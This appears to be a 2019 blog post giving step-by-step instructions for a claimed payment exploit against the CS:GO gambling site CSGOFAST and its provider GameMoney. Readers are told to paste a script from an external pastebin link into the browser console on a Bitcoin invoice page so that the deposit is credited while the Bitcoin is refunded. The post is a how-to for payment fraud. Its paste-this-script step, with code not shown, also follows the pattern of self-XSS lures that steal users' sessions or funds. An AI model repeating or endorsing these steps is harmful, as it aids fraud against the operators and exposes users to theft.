Tuesday, August 27, 2019

ILPT Popular Csgo Gambling Site Exploit

In this guide, I will show you a new EXPLOIT on a popular

CS:GO gambling website - CSGOFAST.

LINK TO THE SITE?: ?

https://csgofast.com/

With this exploit, you will be able to refill your CSGOFAST

balance - completely for free, and then withdraw your money

or skins.

-----------------------------------------------------------------

  1. How it works?

I managed to find a vulnerability on their site, which basically

allows you to get a refund for your Bitcoin deposit on the site.

After you open a Bitcoin transaction page, you will have to

use a script that will change the timezone of your invoice.

When the timezone is changed, your current invoice will

expire, but at the same time a new invoice will be generated

(which will result in a change of your Bitcoin address). If you

send a payment to the new Bitcoin address, your CSGOFAST

account will be credited, but your Bitcoins will get refunded to

your wallet, because their payment provider (GameMoney)

thinks that your invoice has expired.

Simple as that.

-------------------------------------------------------------------------

. How do I use it?

First of all - you need to login to your CSGOFAST account. If

you don’t have one, you can create it by logging in through

Steam / VK / Google / Twitter / Facebook / Yandex.

Then, simply click on a “Refill” button.

--------------------------------------------------------------------------------

Now choose “GameMoney” and click “Refill”. The minimum

deposit is 0.01 BTC which is like $100 at the moment.

Once you click “Refill”, you will be redirected to GameMoney’s

payment page where you have to navigate to “BTC” option.

Then click on a “Bitcoin” logo to open your Invoice.

----------------------------------------------------------------------------------

Fill the “Amount receivable” - which is the amount of money

you want to deposit to your CSGOFAST account. As you can

see, the minimum amount is 0.01 BTC, so you can’t deposit less

than $100.

Now you will see the address where they want you to send the

money to - but don’t do that yet.

Now you will have to use a script that will change your

browser’s timezone. Your “Wallet address” will change to the

new one - this is the address where you need to send your

money to.

To use the script, simply right click (with your mouse)

anywhere on the invoice page and click Inspect and go to the

“Console”.

If you can’t see the “Inspect” or “Console” option, make sure

that you are using Google Chrome as I do.

------------------------------------------------------------

Now copy and paste the script into “Console” and click Enter.

You can copy the script from one of these links:

https://pastebin.com/UkjjXDed

------------------------------------------------------------

If you did everything correctly, you should see a new popup

window informing you that your current invoice has expired,

and a new address was generated.

Now simply copy the “Amount to be sent” and send Bitcoins to

the new address.

Once you do that, wait for your transaction to have 3

confirmations.

Now DON’T close the invoice page and wait for confirmations.

------------------------------------------------------------

Once the bitcoin sent to the new generated address reaches 3 confirmations on blockchain you will get a screen saying

you sent money to an expired invoice and your payment will be refunded.

CSGOFAST has processed your order even when it was

cancelled on GameMoney. You can now withdraw your funds

from the site either to Bitcoin / QIWI / Yandex.Money /

Webmoney / Card or simply withdraw CS:GO Skins.

Now when you finish this you will have the moeny being refunded to your bitcoin address and there will be 100 dollars

in csgo fast which you can withdraw to your bitcoin wallet which means you just doubled your bitcoin!

-------------------------------------------------------------------------------------------------------------

This method is repeatable - however, you can only make one

deposit per hour.

Enjoy your earnings!



No comments:

Post a Comment